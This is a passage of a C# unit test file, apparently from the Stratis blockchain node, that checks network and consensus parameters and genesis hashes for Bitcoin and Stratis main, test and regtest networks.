Assert.Equal(0, this.networkMain.Consensus.PremineReward); Assert.Equal(0, this.networkMain.Consensus.PremineHeight); Assert.Equal(Money.Coins(50), this.networkMain.Consensus.ProofOfWorkReward); Assert.Equal(Money.Zero, this.networkMain.Consensus.ProofOfStakeReward); Assert.Equal((uint)0, this.networkMain.Consensus.MaxReorgLength); Assert.Equal(21000000 * Money.COIN, this.networkMain.Consensus.MaxMoney); Block genesis = this.networkMain.GetGenesis(); Assert.Equal(uint256.Parse("0x000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f"), genesis.GetHash()); Assert.Equal(uint256.Parse("0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b"), genesis.Header.HashMerkleRoot); } [Fact] [Trait("UnitTest", "UnitTest")] public void BitcoinTestnetIsInitializedCorrectly() { Network network = KnownNetworks.TestNet; Assert.Equal(13, network.Checkpoints.Count); Assert.Equal(3, network.DNSSeeds.Count); Assert.Empty(network.SeedNodes); Assert.Equal("TestNet", network.Name); Assert.Equal(BitcoinMain.BitcoinRootFolderName, network.RootFolderName); Assert.Equal(BitcoinMain.BitcoinDefaultConfigFilename, network.DefaultConfigFilename); Assert.Equal(0x0709110B.ToString(), network.Magic.ToString()); Assert.Equal(18333, network.DefaultPort); Assert.Equal(18332, network.RPCPort); Assert.Equal(BitcoinMain.BitcoinMaxTimeOffsetSeconds, network.MaxTimeOffsetSeconds); Assert.Equal(BitcoinMain.BitcoinDefaultMaxTipAgeInSeconds, network.MaxTipAge); Assert.Equal(1000, network.MinTxFee); Assert.Equal(20000, network.FallbackFee); Assert.Equal(1000, network.MinRelayTxFee); Assert.Equal("TBTC", network.CoinTicker); Assert.Equal(2, network.Bech32Encoders.Length); Assert.Equal(new Bech32Encoder("tb").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_PUBKEY_ADDRESS].ToString()); Assert.Equal(new Bech32Encoder("tb").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_SCRIPT_ADDRESS].ToString()); Assert.Equal(12, network.Base58Prefixes.Length); Assert.Equal(new byte[] { 111 }, network.Base58Prefixes[(int)Base58Type.PUBKEY_ADDRESS]); Assert.Equal(new byte[] { (196) }, network.Base58Prefixes[(int)Base58Type.SCRIPT_ADDRESS]); Assert.Equal(new byte[] { (239) }, network.Base58Prefixes[(int)Base58Type.SECRET_KEY]); Assert.Equal(new byte[] { 0x01, 0x42 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_NO_EC]); Assert.Equal(new byte[] { 0x01, 0x43 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_EC]); Assert.Equal(new byte[] { (0x04), (0x35), (0x87), (0xCF) }, network.Base58Prefixes[(int)Base58Type.EXT_PUBLIC_KEY]); Assert.Equal(new byte[] { (0x04), (0x35), (0x83), (0x94) }, network.Base58Prefixes[(int)Base58Type.EXT_SECRET_KEY]); Assert.Equal(new byte[] { 0x2C, 0xE9, 0xB3, 0xE1, 0xFF, 0x39, 0xE2 }, network.Base58Prefixes[(int)Base58Type.PASSPHRASE_CODE]); Assert.Equal(new byte[] { 0x64, 0x3B, 0xF6, 0xA8, 0x9A }, network.Base58Prefixes[(int)Base58Type.CONFIRMATION_CODE]); Assert.Equal(new byte[] { 0x2b }, network.Base58Prefixes[(int)Base58Type.STEALTH_ADDRESS]); Assert.Equal(new byte[] { 115 }, network.Base58Prefixes[(int)Base58Type.ASSET_ID]); Assert.Equal(new byte[] { 0x13 }, network.Base58Prefixes[(int)Base58Type.COLORED_ADDRESS]); Assert.Equal(210000, network.Consensus.SubsidyHalvingInterval); Assert.Equal(51, network.Consensus.MajorityEnforceBlockUpgrade); Assert.Equal(75, network.Consensus.MajorityRejectBlockOutdated); Assert.Equal(100, network.Consensus.MajorityWindow); Assert.Equal(21111, network.Consensus.BuriedDeployments[BuriedDeployments.BIP34]); Assert.Equal(581885, network.Consensus.BuriedDeployments[BuriedDeployments.BIP65]); Assert.Equal(330776, network.Consensus.BuriedDeployments[BuriedDeployments.BIP66]); Assert.Equal(new uint256("0x0000000023b3a96d3484e5abb3755c413e7d41500f8e2a5c3f0dd01299cd8ef8"), network.Consensus.BIP34Hash); Assert.Equal(new Target(new uint256("00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff")), network.Consensus.PowLimit); Assert.Equal(new uint256("0x0000000000000000000000000000000000000000000000198b4def2baa9338d6"), network.Consensus.MinimumChainWork); Assert.Equal(TimeSpan.FromSeconds(14 * 24 * 60 * 60), network.Consensus.PowTargetTimespan); Assert.Equal(TimeSpan.FromSeconds(10 * 60), network.Consensus.PowTargetSpacing); Assert.True(network.Consensus.PowAllowMinDifficultyBlocks); Assert.False(network.Consensus.PowNoRetargeting); Assert.Equal(1512, network.Consensus.RuleChangeActivationThreshold); Assert.Equal(2016, network.Consensus.MinerConfirmationWindow); Assert.Equal(28, network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.TestDummy].Bit); Assert.Equal(Utils.UnixTimeToDateTime(1199145601), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.TestDummy].StartTime); Assert.Equal(Utils.UnixTimeToDateTime(1230767999), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.TestDummy].Timeout); Assert.Equal(0, network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.CSV].Bit); Assert.Equal(Utils.UnixTimeToDateTime(1456790400), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.CSV].StartTime); Assert.Equal(Utils.UnixTimeToDateTime(1493596800), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.CSV].Timeout); Assert.Equal(1, network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.Segwit].Bit); Assert.Equal(Utils.UnixTimeToDateTime(1462060800), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.Segwit].StartTime); Assert.Equal(Utils.UnixTimeToDateTime(1493596800), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.Segwit].Timeout); Assert.Equal(1, network.Consensus.CoinType); Assert.False(network.Consensus.IsProofOfStake); Assert.Equal(new uint256("0x0000000000000037a8cd3e06cd5edbfe9dd1dbcc5dacab279376ef7cfc2b4c75"), network.Consensus.DefaultAssumeValid); Assert.Equal(100, network.Consensus.CoinbaseMaturity); Assert.Equal(0, network.Consensus.PremineReward); Assert.Equal(0, network.Consensus.PremineHeight); Assert.Equal(Money.Coins(50), network.Consensus.ProofOfWorkReward); Assert.Equal(Money.Zero, network.Consensus.ProofOfStakeReward); Assert.Equal((uint)0, network.Consensus.MaxReorgLength); Assert.Equal(21000000 * Money.COIN, network.Consensus.MaxMoney); Block genesis = network.GetGenesis(); Assert.Equal(uint256.Parse("0x000000000933ea01ad0ee984209779baaec3ced90fa3f408719526f8d77f4943"), genesis.GetHash()); Assert.Equal(uint256.Parse("0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b"), genesis.Header.HashMerkleRoot); } [Fact] [Trait("UnitTest", "UnitTest")] public void BitcoinRegTestIsInitializedCorrectly() { Network network = KnownNetworks.RegTest; Assert.Empty(network.Checkpoints); Assert.Empty(network.DNSSeeds); Assert.Empty(network.SeedNodes); Assert.Equal("RegTest", network.Name); Assert.Equal(BitcoinMain.BitcoinRootFolderName, network.RootFolderName); Assert.Equal(BitcoinMain.BitcoinDefaultConfigFilename, network.DefaultConfigFilename); Assert.Equal(0xDAB5BFFA, network.Magic); Assert.Equal(18444, network.DefaultPort); Assert.Equal(18332, network.RPCPort); Assert.Equal(BitcoinMain.BitcoinMaxTimeOffsetSeconds, network.MaxTimeOffsetSeconds); Assert.Equal(BitcoinMain.BitcoinDefaultMaxTipAgeInSeconds, network.MaxTipAge); Assert.Equal(1000, network.MinTxFee); Assert.Equal(20000, network.FallbackFee); Assert.Equal(1000, network.MinRelayTxFee); Assert.Equal("TBTC", network.CoinTicker); Assert.Equal(2, network.Bech32Encoders.Length); Assert.Equal(new Bech32Encoder("tb").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_PUBKEY_ADDRESS].ToString()); Assert.Equal(new Bech32Encoder("tb").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_SCRIPT_ADDRESS].ToString()); Assert.Equal(12, network.Base58Prefixes.Length); Assert.Equal(new byte[] { 111 }, network.Base58Prefixes[(int)Base58Type.PUBKEY_ADDRESS]); Assert.Equal(new byte[] { (196) }, network.Base58Prefixes[(int)Base58Type.SCRIPT_ADDRESS]); Assert.Equal(new byte[] { (239) }, network.Base58Prefixes[(int)Base58Type.SECRET_KEY]); Assert.Equal(new byte[] { 0x01, 0x42 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_NO_EC]); Assert.Equal(new byte[] { 0x01, 0x43 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_EC]); Assert.Equal(new byte[] { (0x04), (0x35), (0x87), (0xCF) }, network.Base58Prefixes[(int)Base58Type.EXT_PUBLIC_KEY]); Assert.Equal(new byte[] { (0x04), (0x35), (0x83), (0x94) }, network.Base58Prefixes[(int)Base58Type.EXT_SECRET_KEY]); Assert.Equal(new byte[] { 0x2C, 0xE9, 0xB3, 0xE1, 0xFF, 0x39, 0xE2 }, network.Base58Prefixes[(int)Base58Type.PASSPHRASE_CODE]); Assert.Equal(new byte[] { 0x64, 0x3B, 0xF6, 0xA8, 0x9A }, network.Base58Prefixes[(int)Base58Type.CONFIRMATION_CODE]); Assert.Equal(new byte[] { 0x2b }, network.Base58Prefixes[(int)Base58Type.STEALTH_ADDRESS]); Assert.Equal(new byte[] { 115 }, network.Base58Prefixes[(int)Base58Type.ASSET_ID]); Assert.Equal(new byte[] { 0x13 }, network.Base58Prefixes[(int)Base58Type.COLORED_ADDRESS]); Assert.Equal(150, network.Consensus.SubsidyHalvingInterval); Assert.Equal(750, network.Consensus.MajorityEnforceBlockUpgrade); Assert.Equal(950, network.Consensus.MajorityRejectBlockOutdated); Assert.Equal(1000, network.Consensus.MajorityWindow); Assert.Equal(100000000, network.Consensus.BuriedDeployments[BuriedDeployments.BIP34]); Assert.Equal(100000000, network.Consensus.BuriedDeployments[BuriedDeployments.BIP65]); Assert.Equal(100000000, network.Consensus.BuriedDeployments[BuriedDeployments.BIP66]); Assert.Equal(new uint256(), network.Consensus.BIP34Hash); Assert.Equal(new Target(new uint256("7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff")), network.Consensus.PowLimit); Assert.Equal(uint256.Zero, network.Consensus.MinimumChainWork); Assert.Equal(TimeSpan.FromSeconds(14 * 24 * 60 * 60), network.Consensus.PowTargetTimespan); Assert.Equal(TimeSpan.FromSeconds(10 * 60), network.Consensus.PowTargetSpacing); Assert.True(network.Consensus.PowAllowMinDifficultyBlocks); Assert.True(network.Consensus.PowNoRetargeting); Assert.Equal(108, network.Consensus.RuleChangeActivationThreshold); Assert.Equal(144, network.Consensus.MinerConfirmationWindow); Assert.Equal(28, network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.TestDummy].Bit); Assert.Equal(Utils.UnixTimeToDateTime(0), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.TestDummy].StartTime); Assert.Equal(Utils.UnixTimeToDateTime(999999999), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.TestDummy].Timeout); Assert.Equal(0, network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.CSV].Bit); Assert.Equal(Utils.UnixTimeToDateTime(0), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.CSV].StartTime); Assert.Equal(Utils.UnixTimeToDateTime(999999999), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.CSV].Timeout); Assert.Equal(1, network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.Segwit].Bit); Assert.Equal(Utils.UnixTimeToDateTime(BIP9DeploymentsParameters.AlwaysActive), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.Segwit].StartTime); Assert.Equal(Utils.UnixTimeToDateTime(999999999), network.Consensus.BIP9Deployments[BitcoinBIP9Deployments.Segwit].Timeout); Assert.Equal(0, network.Consensus.CoinType); Assert.False(network.Consensus.IsProofOfStake); Assert.Null(network.Consensus.DefaultAssumeValid); Assert.Equal(100, network.Consensus.CoinbaseMaturity); Assert.Equal(0, network.Consensus.PremineReward); Assert.Equal(0, network.Consensus.PremineHeight); Assert.Equal(Money.Coins(50), network.Consensus.ProofOfWorkReward); Assert.Equal(Money.Zero, network.Consensus.ProofOfStakeReward); Assert.Equal((uint)0, network.Consensus.MaxReorgLength); Assert.Equal(21000000 * Money.COIN, network.Consensus.MaxMoney); Block genesis = network.GetGenesis(); Assert.Equal(uint256.Parse("0x0f9188f13cb7b2c71f2a335e3a4fc328bf5beb436012afca590b1a11466e2206"), genesis.GetHash()); Assert.Equal(uint256.Parse("0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b"), genesis.Header.HashMerkleRoot); } [Fact] public void StratisMainIsInitializedCorrectly() { Network network = this.stratisMain; Assert.Equal(30, network.Checkpoints.Count); Assert.Equal(4, network.DNSSeeds.Count); Assert.Equal(9, network.SeedNodes.Count); Assert.Equal("StratisMain", network.Name); Assert.Equal(StratisMain.StratisRootFolderName, network.RootFolderName); Assert.Equal(StratisMain.StratisDefaultConfigFilename, network.DefaultConfigFilename); Assert.Equal(0x5223570.ToString(), network.Magic.ToString()); Assert.Equal(16178, network.DefaultPort); Assert.Equal(16174, network.RPCPort); Assert.Equal(StratisMain.StratisMaxTimeOffsetSeconds, network.MaxTimeOffsetSeconds); Assert.Equal(StratisMain.StratisDefaultMaxTipAgeInSeconds, network.MaxTipAge); Assert.Equal(10000, network.MinTxFee); Assert.Equal(10000, network.FallbackFee); Assert.Equal(10000, network.MinRelayTxFee); Assert.Equal("STRAT", network.CoinTicker); Assert.Equal(2, network.Bech32Encoders.Length); Assert.Equal(new Bech32Encoder("bc").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_PUBKEY_ADDRESS].ToString()); Assert.Equal(new Bech32Encoder("bc").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_SCRIPT_ADDRESS].ToString()); Assert.Equal(12, network.Base58Prefixes.Length); Assert.Equal(new byte[] { (63) }, network.Base58Prefixes[(int)Base58Type.PUBKEY_ADDRESS]); Assert.Equal(new byte[] { (125) }, network.Base58Prefixes[(int)Base58Type.SCRIPT_ADDRESS]); Assert.Equal(new byte[] { (63 + 128) }, network.Base58Prefixes[(int)Base58Type.SECRET_KEY]); Assert.Equal(new byte[] { 0x01, 0x42 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_NO_EC]); Assert.Equal(new byte[] { 0x01, 0x43 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_EC]); Assert.Equal(new byte[] { (0x04), (0x88), (0xB2), (0x1E) }, network.Base58Prefixes[(int)Base58Type.EXT_PUBLIC_KEY]); Assert.Equal(new byte[] { (0x04), (0x88), (0xAD), (0xE4) }, network.Base58Prefixes[(int)Base58Type.EXT_SECRET_KEY]); Assert.Equal(new byte[] { 0x2C, 0xE9, 0xB3, 0xE1, 0xFF, 0x39, 0xE2 }, network.Base58Prefixes[(int)Base58Type.PASSPHRASE_CODE]); Assert.Equal(new byte[] { 0x64, 0x3B, 0xF6, 0xA8, 0x9A }, network.Base58Prefixes[(int)Base58Type.CONFIRMATION_CODE]); Assert.Equal(new byte[] { 0x2a }, network.Base58Prefixes[(int)Base58Type.STEALTH_ADDRESS]); Assert.Equal(new byte[] { 23 }, network.Base58Prefixes[(int)Base58Type.ASSET_ID]); Assert.Equal(new byte[] { 0x13 }, network.Base58Prefixes[(int)Base58Type.COLORED_ADDRESS]); Assert.Equal(210000, network.Consensus.SubsidyHalvingInterval); Assert.Equal(750, network.Consensus.MajorityEnforceBlockUpgrade); Assert.Equal(950, network.Consensus.MajorityRejectBlockOutdated); Assert.Equal(1000, network.Consensus.MajorityWindow); Assert.Equal(0, network.Consensus.BuriedDeployments[BuriedDeployments.BIP34]); Assert.Equal(0, network.Consensus.BuriedDeployments[BuriedDeployments.BIP65]); Assert.Equal(0, network.Consensus.BuriedDeployments[BuriedDeployments.BIP66]); Assert.Equal(new uint256("0x000000000000024b89b42a942fe0d9fea3bb44ab7bd1b19115dd6a759c0808b8"), network.Consensus.BIP34Hash); Assert.Equal(new Target(new uint256("00000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff")), network.Consensus.PowLimit); Assert.Null(network.Consensus.MinimumChainWork); Assert.Equal(TimeSpan.FromSeconds(14 * 24 * 60 * 60), network.Consensus.PowTargetTimespan); Assert.Equal(TimeSpan.FromSeconds(10 * 60), network.Consensus.PowTargetSpacing); Assert.False(network.Consensus.PowAllowMinDifficultyBlocks); Assert.False(network.Consensus.PowNoRetargeting); Assert.Equal(1916, network.Consensus.RuleChangeActivationThreshold); Assert.Equal(2016, network.Consensus.MinerConfirmationWindow); Assert.Null(network.Consensus.BIP9Deployments[StratisBIP9Deployments.TestDummy]); Assert.Equal(12500, network.Consensus.LastPOWBlock); Assert.True(network.Consensus.IsProofOfStake); Assert.Equal(105, network.Consensus.CoinType); Assert.Equal(new BigInteger(uint256.Parse("00000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff").ToBytes(false)), network.Consensus.ProofOfStakeLimit); Assert.Equal(new BigInteger(uint256.Parse("000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffff").ToBytes(false)), network.Consensus.ProofOfStakeLimitV2); Assert.Equal(new uint256("0x50497017e7bb256df205fcbc2caccbe5b516cb33491e1a11737a3bfe83959b9f"), network.Consensus.DefaultAssumeValid); Assert.Equal(50, network.Consensus.CoinbaseMaturity); Assert.Equal(Money.Coins(98000000), network.Consensus.PremineReward); Assert.Equal(2, network.Consensus.PremineHeight); Assert.Equal(Money.Coins(4), network.Consensus.ProofOfWorkReward); Assert.Equal(Money.Coins(1), network.Consensus.ProofOfStakeReward); Assert.Equal((uint)500, network.Consensus.MaxReorgLength); Assert.Equal(long.MaxValue, network.Consensus.MaxMoney); Block genesis = network.GetGenesis(); Assert.Equal(uint256.Parse("0x0000066e91e46e5a264d42c89e1204963b2ee6be230b443e9159020539d972af"), genesis.GetHash()); Assert.Equal(uint256.Parse("0x65a26bc20b0351aebf05829daefa8f7db2f800623439f3c114257c91447f1518"), genesis.Header.HashMerkleRoot); } [Fact] [Trait("UnitTest", "UnitTest")] public void StratisTestnetIsInitializedCorrectly() { Network network = this.stratisTest; Assert.Equal(12, network.Checkpoints.Count); Assert.Equal(4, network.DNSSeeds.Count); Assert.Equal(3, network.SeedNodes.Count); Assert.Equal("StratisTest", network.Name); Assert.Equal(StratisMain.StratisRootFolderName, network.RootFolderName); Assert.Equal(StratisMain.StratisDefaultConfigFilename, network.DefaultConfigFilename); Assert.Equal(0x11213171.ToString(), network.Magic.ToString()); Assert.Equal(26178, network.DefaultPort); Assert.Equal(26174, network.RPCPort); Assert.Equal(StratisMain.StratisMaxTimeOffsetSeconds, network.MaxTimeOffsetSeconds); Assert.Equal(StratisMain.StratisDefaultMaxTipAgeInSeconds, network.MaxTipAge); Assert.Equal(10000, network.MinTxFee); Assert.Equal(10000, network.FallbackFee); Assert.Equal(10000, network.MinRelayTxFee); Assert.Equal("TSTRAT", network.CoinTicker); Assert.Equal(2, network.Bech32Encoders.Length); Assert.Equal(new Bech32Encoder("bc").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_PUBKEY_ADDRESS].ToString()); Assert.Equal(new Bech32Encoder("bc").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_SCRIPT_ADDRESS].ToString()); Assert.Equal(12, network.Base58Prefixes.Length); Assert.Equal(new byte[] { (65) }, network.Base58Prefixes[(int)Base58Type.PUBKEY_ADDRESS]); Assert.Equal(new byte[] { (196) }, network.Base58Prefixes[(int)Base58Type.SCRIPT_ADDRESS]); Assert.Equal(new byte[] { (65 + 128) }, network.Base58Prefixes[(int)Base58Type.SECRET_KEY]); Assert.Equal(new byte[] { 0x01, 0x42 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_NO_EC]); Assert.Equal(new byte[] { 0x01, 0x43 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_EC]); Assert.Equal(new byte[] { (0x04), (0x88), (0xB2), (0x1E) }, network.Base58Prefixes[(int)Base58Type.EXT_PUBLIC_KEY]); Assert.Equal(new byte[] { (0x04), (0x88), (0xAD), (0xE4) }, network.Base58Prefixes[(int)Base58Type.EXT_SECRET_KEY]); Assert.Equal(new byte[] { 0x2C, 0xE9, 0xB3, 0xE1, 0xFF, 0x39, 0xE2 }, network.Base58Prefixes[(int)Base58Type.PASSPHRASE_CODE]); Assert.Equal(new byte[] { 0x64, 0x3B, 0xF6, 0xA8, 0x9A }, network.Base58Prefixes[(int)Base58Type.CONFIRMATION_CODE]); Assert.Equal(new byte[] { 0x2a }, network.Base58Prefixes[(int)Base58Type.STEALTH_ADDRESS]); Assert.Equal(new byte[] { 23 }, network.Base58Prefixes[(int)Base58Type.ASSET_ID]); Assert.Equal(new byte[] { 0x13 }, network.Base58Prefixes[(int)Base58Type.COLORED_ADDRESS]); Assert.Equal(210000, network.Consensus.SubsidyHalvingInterval); Assert.Equal(750, network.Consensus.MajorityEnforceBlockUpgrade); Assert.Equal(950, network.Consensus.MajorityRejectBlockOutdated); Assert.Equal(1000, network.Consensus.MajorityWindow); Assert.Equal(0, network.Consensus.BuriedDeployments[BuriedDeployments.BIP34]); Assert.Equal(0, network.Consensus.BuriedDeployments[BuriedDeployments.BIP65]); Assert.Equal(0, network.Consensus.BuriedDeployments[BuriedDeployments.BIP66]); Assert.Equal(new uint256("0x000000000000024b89b42a942fe0d9fea3bb44ab7bd1b19115dd6a759c0808b8"), network.Consensus.BIP34Hash); Assert.Equal(new Target(new uint256("0000ffff00000000000000000000000000000000000000000000000000000000")), network.Consensus.PowLimit); Assert.Null(network.Consensus.MinimumChainWork); Assert.Equal(TimeSpan.FromSeconds(14 * 24 * 60 * 60), network.Consensus.PowTargetTimespan); Assert.Equal(TimeSpan.FromSeconds(10 * 60), network.Consensus.PowTargetSpacing); Assert.False(network.Consensus.PowAllowMinDifficultyBlocks); Assert.False(network.Consensus.PowNoRetargeting); Assert.Equal(1916, network.Consensus.RuleChangeActivationThreshold); Assert.Equal(2016, network.Consensus.MinerConfirmationWindow); Assert.Null(network.Consensus.BIP9Deployments[StratisBIP9Deployments.TestDummy]); Assert.Equal(12500, network.Consensus.LastPOWBlock); Assert.True(network.Consensus.IsProofOfStake); Assert.Equal(105, network.Consensus.CoinType); Assert.Equal(new BigInteger(uint256.Parse("00000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff").ToBytes(false)), network.Consensus.ProofOfStakeLimit); Assert.Equal(new BigInteger(uint256.Parse("000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffff").ToBytes(false)), network.Consensus.ProofOfStakeLimitV2); Assert.Equal(new uint256("0xc9a15c9dd87c6219b273f93442b87fdaf9eebb4f3059d8ed8239c41a4ab3e730"), network.Consensus.DefaultAssumeValid); Assert.Equal(10, network.Consensus.CoinbaseMaturity); Assert.Equal(Money.Coins(98000000), network.Consensus.PremineReward); Assert.Equal(2, network.Consensus.PremineHeight); Assert.Equal(Money.Coins(4), network.Consensus.ProofOfWorkReward); Assert.Equal(Money.Coins(1), network.Consensus.ProofOfStakeReward); Assert.Equal((uint)500, network.Consensus.MaxReorgLength); Assert.Equal(long.MaxValue, network.Consensus.MaxMoney); Block genesis = network.GetGenesis(); Assert.Equal(uint256.Parse("0x00000e246d7b73b88c9ab55f2e5e94d9e22d471def3df5ea448f5576b1d156b9"), genesis.GetHash()); Assert.Equal(uint256.Parse("0x65a26bc20b0351aebf05829daefa8f7db2f800623439f3c114257c91447f1518"), genesis.Header.HashMerkleRoot); } [Fact] [Trait("UnitTest", "UnitTest")] public void StratisRegTestIsInitializedCorrectly() { Network network = this.stratisRegTest; Assert.Empty(network.Checkpoints); Assert.Empty(network.DNSSeeds); Assert.Empty(network.SeedNodes); Assert.Equal("StratisRegTest", network.Name); Assert.Equal(StratisMain.StratisRootFolderName, network.RootFolderName); Assert.Equal(StratisMain.StratisDefaultConfigFilename, network.DefaultConfigFilename); Assert.Equal(0xefc0f2cd, network.Magic); Assert.Equal(18444, network.DefaultPort); Assert.Equal(18442, network.RPCPort); Assert.Equal(StratisMain.StratisMaxTimeOffsetSeconds, network.MaxTimeOffsetSeconds); Assert.Equal(StratisMain.StratisDefaultMaxTipAgeInSeconds, network.MaxTipAge); Assert.Equal(10000, network.MinTxFee); Assert.Equal(10000, network.FallbackFee); Assert.Equal(10000, network.MinRelayTxFee); Assert.Equal("TSTRAT", network.CoinTicker); Assert.Equal(2, network.Bech32Encoders.Length); Assert.Equal(new Bech32Encoder("bc").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_PUBKEY_ADDRESS].ToString()); Assert.Equal(new Bech32Encoder("bc").ToString(), network.Bech32Encoders[(int)Bech32Type.WITNESS_SCRIPT_ADDRESS].ToString()); Assert.Equal(12, network.Base58Prefixes.Length); Assert.Equal(new byte[] { (65) }, network.Base58Prefixes[(int)Base58Type.PUBKEY_ADDRESS]); Assert.Equal(new byte[] { (196) }, network.Base58Prefixes[(int)Base58Type.SCRIPT_ADDRESS]); Assert.Equal(new byte[] { (65 + 128) }, network.Base58Prefixes[(int)Base58Type.SECRET_KEY]); Assert.Equal(new byte[] { 0x01, 0x42 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_NO_EC]); Assert.Equal(new byte[] { 0x01, 0x43 }, network.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_EC]); Assert.Equal(new byte[] { (0x04), (0x88), (0xB2), (0x1E) }, network.Base58Prefixes[(int)Base58Type.EXT_PUBLIC_KEY]); Assert.Equal(new byte[] { (0x04), (0x88), (0xAD), (0xE4) }, network.Base58Prefixes[(int)Base58Type.EXT_SECRET_KEY]); Assert.Equal(new byte[] { 0x2C, 0xE9, 0xB3, 0xE1, 0xFF, 0x39, 0xE2 }, network.Base58Prefixes[(int)Base58Type.PASSPHRASE_CODE]); Assert.Equal(new byte[] { 0x64, 0x3B, 0xF6, 0xA8, 0x9A }, network.Base58Prefixes[(int)Base58Type.CONFIRMATION_CODE]); Assert.Equal(new byte[] { 0x2a }, network.Base58Prefixes[(int)Base58Type.STEALTH_ADDRESS]); Assert.Equal(new byte[] { 23 }, network.Base58Prefixes[(int)Base58Type.ASSET_ID]); Assert.Equal(new byte[] { 0x13 }, network.Base58Prefixes[(int)Base58Type.COLORED_ADDRESS]); Assert.Equal(210000, network.Consensus.SubsidyHalvingInterval); Assert.Equal(750, network.Consensus.MajorityEnforceBlockUpgrade); Assert.Equal(950, network.Consensus.MajorityRejectBlockOutdated); Assert.Equal(1000, network.Consensus.MajorityWindow); Assert.Equal(0, network.Consensus.BuriedDeployments[BuriedDeployments.BIP34]); Assert.Equal(0, network.Consensus.BuriedDeployments[BuriedDeployments.BIP65]); Assert.Equal(0, network.Consensus.BuriedDeployments[BuriedDeployments.BIP66]); Assert.Equal(new uint256("0x000000000000024b89b42a942fe0d9fea3bb44ab7bd1b19115dd6a759c0808b8"), network.Consensus.BIP34Hash); Assert.Equal(new Target(new uint256("7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff")), network.Consensus.PowLimit); Assert.Null(network.Consensus.MinimumChainWork); Assert.Equal(TimeSpan.FromSeconds(14 * 24 * 60 * 60), network.Consensus.PowTargetTimespan); Assert.Equal(TimeSpan.FromSeconds(10 * 60), network.Consensus.PowTargetSpacing); Assert.True(network.Consensus.PowAllowMinDifficultyBlocks); Assert.True(network.Consensus.PowNoRetargeting); Assert.Equal(1916, network.Consensus.RuleChangeActivationThreshold); Assert.Equal(2016, network.Consensus.MinerConfirmationWindow); Assert.Null(network.Consensus.BIP9Deployments[StratisBIP9Deployments.TestDummy]); Assert.Equal(12500, network.Consensus.LastPOWBlock); Assert.True(network.Consensus.IsProofOfStake); Assert.Equal(105, network.Consensus.CoinType); Assert.Equal(new BigInteger(uint256.Parse("00000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff").ToBytes(false)), network.Consensus.ProofOfStakeLimit); Assert.Equal(new BigInteger(uint256.Parse("000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffff").ToBytes(false)), network.Consensus.ProofOfStakeLimitV2); Assert.Null(network.Consensus.DefaultAssumeValid); Assert.Equal(10, network.Consensus.CoinbaseMaturity); Assert.Equal(Money.Coins(98000000), network.Consensus.PremineReward); Assert.Equal(2, network.Consensus.PremineHeight); Assert.Equal(Money.Coins(4), network.Consensus.ProofOfWorkReward); Assert.Equal(Money.Coins(1), network.Consensus.ProofOfStakeReward); Assert.Equal((uint)500, network.Consensus.MaxReorgLength); Assert.Equal(long.MaxValue, network.Consensus.MaxMoney); Block genesis = network.GetGenesis(); Assert.Equal(uint256.Parse("0x93925104d664314f581bc7ecb7b4bad07bcfabd1cfce4256dbd2faddcf53bd1f"), genesis.GetHash()); Assert.Equal(uint256.Parse("0x65a26bc20b0351aebf05829daefa8f7db2f800623439f3c114257c91447f1518"), genesis.Header.HashMerkleRoot); } [Fact] [Trait("UnitTest", "UnitTest")] public void MineGenesisBlockWithMissingParametersThrowsException() { Assert.Throws<ArgumentException>(() => Network.MineGenesisBlock(null, "some string", new Target(new uint256()), Money.Zero)); Assert.Throws<ArgumentException>(() => Network.MineGenesisBlock(new ConsensusFactory(), "", new Target(new uint256()), Money.Zero)); 